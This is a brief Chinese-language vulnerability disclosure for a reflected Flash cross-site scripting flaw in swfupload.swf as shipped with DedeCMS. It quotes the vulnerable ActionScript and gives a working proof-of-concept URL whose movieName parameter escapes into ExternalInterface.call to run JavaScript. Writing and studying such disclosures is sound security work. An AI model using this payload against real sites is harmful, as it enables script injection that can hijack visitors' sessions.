破绽详情

破绽相关文件images/swfupload/swfupload.swf：

存在问题的源代码：

// Get the movie name



this.movieName = root.loaderInfo.parameters.movieName;



// Configure the callbacks



// The JavaScript tracks all the instances of SWFUpload on a page.  We can access the instance



// associated with this SWF file using the movieName.  Each callback is accessible by making



// a call directly to it on our instance.  There is no error handling for undefined callback functions.



// A developer would have to deliberately remove the default functions,set the variable to null, or remove



// it from the init function.



this.flashReady_Callback         = "SWFUpload.instances["" + this.movieName + ""].flashReady";



this.fileDialogStart_Callback    = "SWFUpload.instances["" + this.movieName + ""].fileDialogStart";



this.fileQueued_Callback         = "SWFUpload.instances["" + this.movieName + ""].fileQueued";



this.fileQueueError_Callback     = "SWFUpload.instances["" + this.movieName + ""].fileQueueError";



this.fileDialogComplete_Callback = "SWFUpload.instances["" + this.movieName + ""].fileDialogComplete";



this.uploadStart_Callback        = "SWFUpload.instances["" + this.movieName + ""].uploadStart";



this.uploadProgress_Callback     = "SWFUpload.instances["" + this.movieName + ""].uploadProgress";



this.uploadError_Callback        = "SWFUpload.instances["" + this.movieName + ""].uploadError";



this.uploadSuccess_Callback      = "SWFUpload.instances["" + this.movieName + ""].uploadSuccess";



this.uploadComplete_Callback     = "SWFUpload.instances["" + this.movieName + ""].uploadComplete";



this.debug_Callback              = "SWFUpload.instances["" + this.movieName + ""].debug";



this.testExternalInterface_Callback = "SWFUpload.instances["" + this.movieName + ""].testExternalInterface";



this.cleanUp_Callback            = "SWFUpload.instances["" + this.movieName + ""].cleanUp";



this.buttonAction_Callback       = "SWFUpload.instances["" + this.movieName + ""].buttonAction";

每一个返回值被用作 ExternalInterface.call函数的第一个参数，此函数在当前页面里执行javascript，由于moivename来源于用户的输入(一个flash参数)，并且这个SWF能够被直接加载(url里面带参数)，招致FlashXss反射型脚本跨站攻击的产生。

1.    访问存在FlashXss的SWF链接加Payload：

http://localhost/dedecms/uploads/images/swfupload/swfupload.swf?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22bug1024%22%29}}//

2.     Payload：

?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28%22bug1024%22%29}}//

感谢您的来访，获取更多精彩文章请收藏本站。